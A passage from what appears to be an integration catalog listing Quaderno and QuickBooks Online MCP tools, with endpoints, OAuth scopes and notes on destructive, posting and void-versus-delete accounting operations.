quaderno_get_accounts_by_id (read) — Retrieve custom account via GET /accounts/{id} GET /api/v1/quaderno/accounts/{id}. Scopes: api. quaderno_get_addresses (read) — List addresses via GET /addresses GET /api/v1/quaderno/addresses. Scopes: api. quaderno_get_addresses_by_id (read) — Retrieve address via GET /addresses/{id} GET /api/v1/quaderno/addresses/{id}. Scopes: api. quaderno_get_checkout_coupons (read) — List coupons via GET /checkout/coupons GET /api/v1/quaderno/checkout/coupons. Scopes: api. quaderno_get_checkout_coupons_by_id (read) — Retrieve coupon via GET /checkout/coupons/{id} GET /api/v1/quaderno/checkout/coupons/{id}. Scopes: api. quaderno_get_checkout_sessions (read) — List sessions via GET /checkout/sessions GET /api/v1/quaderno/checkout/sessions. Scopes: api. quaderno_get_checkout_sessions_by_id (read) — Retrieve session via GET /checkout/sessions/{id} GET /api/v1/quaderno/checkout/sessions/{id}. Scopes: api. quaderno_get_contacts (read) — List contacts via GET /contacts GET /api/v1/quaderno/contacts. Scopes: api. quaderno_get_contacts_by_id (read) — Retrieve contact via GET /contacts/{id} GET /api/v1/quaderno/contacts/{id}. Scopes: api. quaderno_get_credits (read) — List credits via GET /credits GET /api/v1/quaderno/credits. Scopes: api. quaderno_get_credits_by_id (read) — Retrieve credit via GET /credits/{id} GET /api/v1/quaderno/credits/{id}. Scopes: api. quaderno_get_credits_by_id_deliver (write, destructive) — Deliver credit via GET /credits/{id}/deliver GET /api/v1/quaderno/credits/{id}/deliver. Scopes: api. quaderno_get_evidence (read) — List evidences via GET /evidence GET /api/v1/quaderno/evidence. Scopes: api. quaderno_get_evidence_by_id (read) — Retrieve evidence via GET /evidence/{id} GET /api/v1/quaderno/evidence/{id}. Scopes: api. quaderno_get_expenses (read) — List expenses via GET /expenses GET /api/v1/quaderno/expenses. Scopes: api. quaderno_get_expenses_by_id (read) — Retrieve expense via GET /expenses/{id} GET /api/v1/quaderno/expenses/{id}. Scopes: api. quaderno_get_invoices (read) — List invoices via GET /invoices GET /api/v1/quaderno/invoices. Scopes: api. quaderno_get_invoices_by_id (read) — Retrieve invoice via GET /invoices/{id} GET /api/v1/quaderno/invoices/{id}. Scopes: api. quaderno_get_invoices_by_id_deliver (write, destructive) — Deliver invoice via GET /invoices/{id}/deliver GET /api/v1/quaderno/invoices/{id}/deliver. Scopes: api. quaderno_get_items (read) — List products via GET /items GET /api/v1/quaderno/items. Scopes: api. quaderno_get_items_by_id (read) — Retrieve product via GET /items/{id} GET /api/v1/quaderno/items/{id}. Scopes: api. quaderno_get_jurisdictions (read) — List tax jurisdictions via GET /jurisdictions GET /api/v1/quaderno/jurisdictions. Scopes: api. quaderno_get_jurisdictions_by_id (read) — Retrieve tax jurisdiction via GET /jurisdictions/{id} GET /api/v1/quaderno/jurisdictions/{id}. Scopes: api. quaderno_get_ping (read) — Ping via GET /ping GET /api/v1/quaderno/ping. Scopes: api. quaderno_get_proformas (read) — List proformas via GET /proformas GET /api/v1/quaderno/proformas. Scopes: api. quaderno_get_proformas_by_id (read) — Retrieve proforma via GET /proformas/{id} GET /api/v1/quaderno/proformas/{id}. Scopes: api. quaderno_get_proformas_by_id_deliver (write, destructive) — Deliver proforma via GET /proformas/{id}/deliver GET /api/v1/quaderno/proformas/{id}/deliver. Scopes: api. quaderno_get_receipts (read) — List receipts via GET /receipts GET /api/v1/quaderno/receipts. Scopes: api. quaderno_get_receipts_by_id (read) — Retrieve receipt via GET /receipts/{id} GET /api/v1/quaderno/receipts/{id}. Scopes: api. quaderno_get_receipts_by_id_deliver (write, destructive) — Deliver receipt via GET /receipts/{id}/deliver GET /api/v1/quaderno/receipts/{id}/deliver. Scopes: api. quaderno_get_recurring (read) — List recurrings via GET /recurring GET /api/v1/quaderno/recurring. Scopes: api. quaderno_get_recurring_by_id (read) — Retrieve recurring via GET /recurring/{id} GET /api/v1/quaderno/recurring/{id}. Scopes: api. quaderno_get_reporting_requests (read) — List report requests via GET /reporting/requests GET /api/v1/quaderno/reporting/requests. Scopes: api. quaderno_get_reporting_requests_by_id (read) — Retrieve report request via GET /reporting/requests/{id} GET /api/v1/quaderno/reporting/requests/{id}. Scopes: api. quaderno_get_tax_codes (read) — List tax codes via GET /tax_codes GET /api/v1/quaderno/tax_codes. Scopes: api. quaderno_get_tax_codes_by_id (read) — Retrieve tax code via GET /tax_codes/{id} GET /api/v1/quaderno/tax_codes/{id}. Scopes: api. quaderno_get_tax_ids (read) — List tax i ds via GET /tax_ids GET /api/v1/quaderno/tax_ids. Scopes: api. quaderno_get_tax_ids_by_id (read) — Retrieve tax id via GET /tax_ids/{id} GET /api/v1/quaderno/tax_ids/{id}. Scopes: api. quaderno_get_tax_ids_validate (read) — Validate tax id via GET /tax_ids/validate GET /api/v1/quaderno/tax_ids/validate. Scopes: api. quaderno_get_tax_rates_calculate (read) — Calculate tax rate via GET /tax_rates/calculate GET /api/v1/quaderno/tax_rates/calculate. Scopes: api. quaderno_get_webhooks (read) — List webhooks via GET /webhooks GET /api/v1/quaderno/webhooks. Scopes: api. quaderno_get_webhooks_by_id (read) — Retrieve webhook via GET /webhooks/{id} GET /api/v1/quaderno/webhooks/{id}. Scopes: api. quaderno_post_accounts (write) — Create custom account via POST /accounts POST /api/v1/quaderno/accounts. Scopes: api. quaderno_post_addresses (write) — Create address via POST /addresses POST /api/v1/quaderno/addresses. Scopes: api. quaderno_post_checkout_coupons (write) — Create coupon via POST /checkout/coupons POST /api/v1/quaderno/checkout/coupons. Scopes: api. quaderno_post_checkout_sessions (write) — Create session via POST /checkout/sessions POST /api/v1/quaderno/checkout/sessions. Scopes: api. quaderno_post_contacts (write) — Create contact via POST /contacts POST /api/v1/quaderno/contacts. Scopes: api. quaderno_post_credits (write) — Create credit via POST /credits POST /api/v1/quaderno/credits. Scopes: api. quaderno_post_credits_by_id_payments (write) — Record credit payment via POST /credits/{id}/payments POST /api/v1/quaderno/credits/{id}/payments. Scopes: api. quaderno_post_evidence (write) — Create evidence via POST /evidence POST /api/v1/quaderno/evidence. Scopes: api. quaderno_post_expenses (write) — Create expense via POST /expenses POST /api/v1/quaderno/expenses. Scopes: api. quaderno_post_invoices (write) — Create invoice via POST /invoices POST /api/v1/quaderno/invoices. Scopes: api. quaderno_post_invoices_by_id_payments (write) — Record invoice payment via POST /invoices/{id}/payments POST /api/v1/quaderno/invoices/{id}/payments. Scopes: api. quaderno_post_items (write) — Create product via POST /items POST /api/v1/quaderno/items. Scopes: api. quaderno_post_proformas (write) — Create proforma via POST /proformas POST /api/v1/quaderno/proformas. Scopes: api. quaderno_post_receipts (write) — Create receipt via POST /receipts POST /api/v1/quaderno/receipts. Scopes: api. quaderno_post_recurring (write) — Create recurring via POST /recurring POST /api/v1/quaderno/recurring. Scopes: api. quaderno_post_reporting_requests (write) — Create report request via POST /reporting/requests POST /api/v1/quaderno/reporting/requests. Scopes: api. quaderno_post_tax_ids (write) — Create tax id via POST /tax_ids POST /api/v1/quaderno/tax_ids. Scopes: api. quaderno_post_transactions (write) — Create transaction via POST /transactions POST /api/v1/quaderno/transactions. Scopes: api. quaderno_post_webhooks (write) — Create webhook via POST /webhooks POST /api/v1/quaderno/webhooks. Scopes: api. quaderno_put_accounts_by_id (write) — Update custom account via PUT /accounts/{id} PUT /api/v1/quaderno/accounts/{id}. Scopes: api. quaderno_put_addresses_by_id (write) — Update address via PUT /addresses/{id} PUT /api/v1/quaderno/addresses/{id}. Scopes: api. quaderno_put_checkout_coupons_by_id (write) — Update coupon via PUT /checkout/coupons/{id} PUT /api/v1/quaderno/checkout/coupons/{id}. Scopes: api. quaderno_put_checkout_sessions_by_id (write) — Update session via PUT /checkout/sessions/{id} PUT /api/v1/quaderno/checkout/sessions/{id}. Scopes: api. quaderno_put_contacts_by_id (write) — Update contact via PUT /contacts/{id} PUT /api/v1/quaderno/contacts/{id}. Scopes: api. quaderno_put_credits_by_id (write) — Update credit via PUT /credits/{id} PUT /api/v1/quaderno/credits/{id}. Scopes: api. quaderno_put_credits_by_id_void (write) — Void credit via PUT /credits/{id}/void PUT /api/v1/quaderno/credits/{id}/void. Scopes: api. quaderno_put_evidence_by_id (write) — Update evidence via PUT /evidence/{id} PUT /api/v1/quaderno/evidence/{id}. Scopes: api. quaderno_put_expenses_by_id (write) — Update expense via PUT /expenses/{id} PUT /api/v1/quaderno/expenses/{id}. Scopes: api. quaderno_put_invoices_by_id (write) — Update invoice via PUT /invoices/{id} PUT /api/v1/quaderno/invoices/{id}. Scopes: api. quaderno_put_invoices_by_id_mark_uncollectible (write) — Mark invoice uncollectible via PUT /invoices/{id}/mark_uncollectible PUT /api/v1/quaderno/invoices/{id}/mark_uncollectible. Scopes: api. quaderno_put_invoices_by_id_void (write) — Void invoice via PUT /invoices/{id}/void PUT /api/v1/quaderno/invoices/{id}/void. Scopes: api. quaderno_put_items_by_id (write) — Update product via PUT /items/{id} PUT /api/v1/quaderno/items/{id}. Scopes: api. quaderno_put_proformas_by_id (write) — Update proforma via PUT /proformas/{id} PUT /api/v1/quaderno/proformas/{id}. Scopes: api. quaderno_put_proformas_by_id_accept (write) — Accept proforma via PUT /proformas/{id}/accept PUT /api/v1/quaderno/proformas/{id}/accept. Scopes: api. quaderno_put_proformas_by_id_convert (write) — Convert proforma via PUT /proformas/{id}/convert PUT /api/v1/quaderno/proformas/{id}/convert. Scopes: api. quaderno_put_proformas_by_id_decline (write) — Decline proforma via PUT /proformas/{id}/decline PUT /api/v1/quaderno/proformas/{id}/decline. Scopes: api. quaderno_put_proformas_by_id_revert (write) — Revert proforma via PUT /proformas/{id}/revert PUT /api/v1/quaderno/proformas/{id}/revert. Scopes: api. quaderno_put_receipts_by_id_void (write) — Void receipt via PUT /receipts/{id}/void PUT /api/v1/quaderno/receipts/{id}/void. Scopes: api. quaderno_put_recurring_by_id (write) — Update recurring via PUT /recurring/{id} PUT /api/v1/quaderno/recurring/{id}. Scopes: api. quaderno_put_tax_ids_by_id (write) — Update tax id via PUT /tax_ids/{id} PUT /api/v1/quaderno/tax_ids/{id}. Scopes: api. quaderno_put_webhooks_by_id (write) — Update webhook via PUT /webhooks/{id} PUT /api/v1/quaderno/webhooks/{id}. Scopes: api. ================================================================================ ## QuickBooks Online URL: https://www.agenticfabriq.com/integrations/quickbooks Section: Integrated Tools QuickBooks Online — 184 MCP tools Provider key: quickbooks. Scopes: accounting:read, attachments:write, company:write, invoices:delete, invoices:replace, invoices:void, invoices:write, ledger:delete, ledger:replace, ledger:write, lists:write, payments:delete, payments:void, payments:write, purchasing:delete, purchasing:replace, purchasing:void, purchasing:write, reports:read, sales:delete, sales:replace, sales:void, sales:write, timetracking:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. quickbooks_create_account (write) — Create a chart-of-accounts account on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/accounts. Scopes: lists:write. quickbooks_create_bill (write, destructive) — DESTRUCTIVE — Create a supplier bill (accounts payable) on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_bill is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/bills. Scopes: purchasing:write. quickbooks_create_bill_payment (write, destructive) — DESTRUCTIVE — Create a payment made to a supplier on the connected company. This posts a real accounting document to the company's books; quickbooks_void_bill_payment is the correction path. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/bill-payments. Scopes: purchasing:write. quickbooks_create_class (write) — Create a class (a reporting dimension) on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/classes. Scopes: lists:write. quickbooks_create_company_currency (write) — Create a currency the company transacts in on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/company-currencies. Scopes: lists:write. quickbooks_create_credit_memo (write, destructive) — DESTRUCTIVE — Create a credit note issued to a customer on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_credit_memo is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/credit-memos. Scopes: sales:write. quickbooks_create_customer (write) — Create a customer on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/customers. Scopes: lists:write. quickbooks_create_department (write) — Create a department or location on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/departments. Scopes: lists:write. quickbooks_create_deposit (write, destructive) — DESTRUCTIVE — Create a bank deposit on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_deposit is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/deposits. Scopes: ledger:write. quickbooks_create_employee (write) — Create an employee on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/employees. Scopes: lists:write. quickbooks_create_estimate (write) — Create a quote or estimate (NON-POSTING) on the connected company. A estimate is NON-POSTING: it does not touch the general ledger and it can be deleted outright, which is what makes it the least consequential write in this integration. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/estimates. Scopes: sales:write. quickbooks_create_inventory_adjustment (write, destructive) — DESTRUCTIVE — Create an inventory quantity/value adjustment on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_inventory_adjustment is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/inventory-adjustments. Scopes: ledger:write. quickbooks_create_invoice (write, destructive) — DESTRUCTIVE — Create an invoice on the connected company. This posts a real accounting document to the company's books; quickbooks_void_invoice is the correction path. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/invoices. Scopes: invoices:write. quickbooks_create_item (write) — Create a product or service on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/items. Scopes: lists:write. quickbooks_create_journal_code (write) — Create a journal code (France locale only) on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/journal-codes. Scopes: lists:write. quickbooks_create_journal_entry (write, destructive) — DESTRUCTIVE — Create a general-ledger journal entry on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_journal_entry is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/journal-entries. Scopes: ledger:write. quickbooks_create_payment (write, destructive) — DESTRUCTIVE — record a payment received from a customer. This posts money to the books: it reduces the customer's outstanding balance and, when `invoice_id` is given, marks that invoice paid by the amount recorded. quickbooks_void_payment is the correction path and the one to reach for — it leaves the payment in the register at zero. quickbooks_delete_payment also exists and removes it entirely, which is the form that leaves a gap in the register; one recorded against the wrong customer still has to be unpicked by hand. It records that a payment HAPPENED; it does not move money — no card is charged and no transfer is initiated. Omitting `invoice_id` leaves the payment unapplied, which is a deliberate choice a bookkeeper then has to resolve. POST /api/v1/tools/quickbooks/payments. Scopes: payments:write. quickbooks_create_payment_method (write) — Create a payment method on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/payment-methods. Scopes: lists:write. quickbooks_create_purchase (write, destructive) — DESTRUCTIVE — Create an expense or cheque on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_purchase is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/purchases. Scopes: purchasing:write. quickbooks_create_purchase_order (write) — Create a purchase order (NON-POSTING) on the connected company. A purchase order is NON-POSTING: it does not touch the general ledger and it can be deleted outright, which is what makes it the least consequential write in this integration. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/purchase-orders. Scopes: purchasing:write. quickbooks_create_refund_receipt (write, destructive) — DESTRUCTIVE — Create a refund issued to a customer on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_refund_receipt is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/refund-receipts. Scopes: sales:write. quickbooks_create_sales_receipt (write, destructive) — DESTRUCTIVE — Create a sales receipt (sale paid at the point of sale) on the connected company. This posts a real accounting document to the company's books; quickbooks_void_sales_receipt is the correction path. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/sales-receipts. Scopes: sales:write. quickbooks_create_tax_agency (write) — Create a tax agency on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/tax-agencies. Scopes: lists:write. quickbooks_create_term (write) — Create a payment term on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/terms. Scopes: lists:write. quickbooks_create_time_activity (write) — Create a timesheet entry (NON-POSTING until billed) on the connected company. A time activity is NON-POSTING: it does not touch the general ledger and it can be deleted outright, which is what makes it the least consequential write in this integration. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/time-activities. Scopes: timetracking:write. quickbooks_create_transfer (write, destructive) — DESTRUCTIVE — Create a transfer between two accounts on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_transfer is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/transfers. Scopes: ledger:write. quickbooks_create_vendor (write) — Create a vendor or supplier on the connected company. A name-list record does not post to the general ledger, and QuickBooks deactivates rather than deletes it, so the record persists in the company file once created. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/vendors. Scopes: lists:write. quickbooks_create_vendor_credit (write, destructive) — DESTRUCTIVE — Create a credit from a supplier on the connected company. This posts a real accounting document to the company's books; quickbooks_delete_vendor_credit is the only way back. Only the fields listed below can be set — the body is assembled by Agentic Fabriq from named arguments, so no caller can post a free-form QuickBooks object. Nothing is emailed: QuickBooks sends a document only when the send endpoint is called, and that endpoint is not exposed. POST /api/v1/tools/quickbooks/vendor-credits. Scopes: purchasing:write. quickbooks_delete_attachable (write, destructive) — DESTRUCTIVE — delete one attachment outright. There is no undo and no voided remnant: the record leaves the register entirely. QuickBooks publishes no void for a attachment, so this is the only removal there is. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/attachables/delete. Scopes: attachments:write. quickbooks_delete_bill (write, destructive) — DESTRUCTIVE — delete one bill outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a bill and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/bills/delete. Scopes: purchasing:delete. quickbooks_delete_bill_payment (write, destructive) — DESTRUCTIVE — delete one bill payment outright. There is no undo and no voided remnant: the record leaves the register entirely. USE quickbooks_void_bill_payment INSTEAD unless you have been told specifically to delete. A void leaves the document in the register at zero, keeping its number, visible to anyone reconciling the period; this removes it entirely, so the next reader sees a gap they cannot detect. QuickBooks publishes both and Agentic Fabriq now exposes both — under separate scopes, so an organisation can grant the traceable one and withhold this — because withholding it from the catalog never withheld it from the credential. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/bill-payments/delete. Scopes: purchasing:delete. quickbooks_delete_budget (write, destructive) — DESTRUCTIVE — delete one budget outright. There is no undo and no voided remnant: the record leaves the register entirely. QuickBooks publishes no void for a budget, so this is the only removal there is. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/budgets/delete. Scopes: ledger:delete. quickbooks_delete_credit_memo (write, destructive) — DESTRUCTIVE — delete one credit memo outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a credit memo and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/credit-memos/delete. Scopes: sales:delete. quickbooks_delete_deposit (write, destructive) — DESTRUCTIVE — delete one deposit outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a deposit and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/deposits/delete. Scopes: ledger:delete. quickbooks_delete_estimate (write, destructive) — DESTRUCTIVE — delete one estimate outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a estimate and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/estimates/delete. Scopes: sales:delete. quickbooks_delete_inventory_adjustment (write, destructive) — DESTRUCTIVE — delete one inventory adjustment outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a inventory adjustment and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/inventory-adjustments/delete. Scopes: ledger:delete. quickbooks_delete_invoice (write, destructive) — DESTRUCTIVE — delete one invoice outright. There is no undo and no voided remnant: the record leaves the register entirely. USE quickbooks_void_invoice INSTEAD unless you have been told specifically to delete. A void leaves the document in the register at zero, keeping its number, visible to anyone reconciling the period; this removes it entirely, so the next reader sees a gap they cannot detect. QuickBooks publishes both and Agentic Fabriq now exposes both — under separate scopes, so an organisation can grant the traceable one and withhold this — because withholding it from the catalog never withheld it from the credential. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/invoices/delete. Scopes: invoices:delete. quickbooks_delete_journal_entry (write, destructive) — DESTRUCTIVE — delete one journal entry outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a journal entry and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/journal-entries/delete. Scopes: ledger:delete. quickbooks_delete_payment (write, destructive) — DESTRUCTIVE — delete one payment outright. There is no undo and no voided remnant: the record leaves the register entirely. USE quickbooks_void_payment INSTEAD unless you have been told specifically to delete. A void leaves the document in the register at zero, keeping its number, visible to anyone reconciling the period; this removes it entirely, so the next reader sees a gap they cannot detect. QuickBooks publishes both and Agentic Fabriq now exposes both — under separate scopes, so an organisation can grant the traceable one and withhold this — because withholding it from the catalog never withheld it from the credential. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/payments/delete. Scopes: payments:delete. quickbooks_delete_purchase (write, destructive) — DESTRUCTIVE — delete one expense outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a expense and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/purchases/delete. Scopes: purchasing:delete. quickbooks_delete_purchase_order (write, destructive) — DESTRUCTIVE — delete one purchase order outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a purchase order and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/purchase-orders/delete. Scopes: purchasing:delete. quickbooks_delete_recurring_transaction (write, destructive) — DESTRUCTIVE — delete one recurring transaction outright. There is no undo and no voided remnant: the record leaves the register entirely. This is the ONLY action Agentic Fabriq offers on a recurring template, and the asymmetry is deliberate: creating or amending one is a standing rule that posts to the books forever with no agent and no human in the loop, and that is excluded. Deleting one is how a rule that is already firing gets stopped. Note that it removes the TEMPLATE, not the transactions it has already produced. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/recurring-transactions/delete. Scopes: ledger:delete. quickbooks_delete_refund_receipt (write, destructive) — DESTRUCTIVE — delete one refund receipt outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a refund receipt and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/refund-receipts/delete. Scopes: sales:delete. quickbooks_delete_sales_receipt (write, destructive) — DESTRUCTIVE — delete one sales receipt outright. There is no undo and no voided remnant: the record leaves the register entirely. USE quickbooks_void_sales_receipt INSTEAD unless you have been told specifically to delete. A void leaves the document in the register at zero, keeping its number, visible to anyone reconciling the period; this removes it entirely, so the next 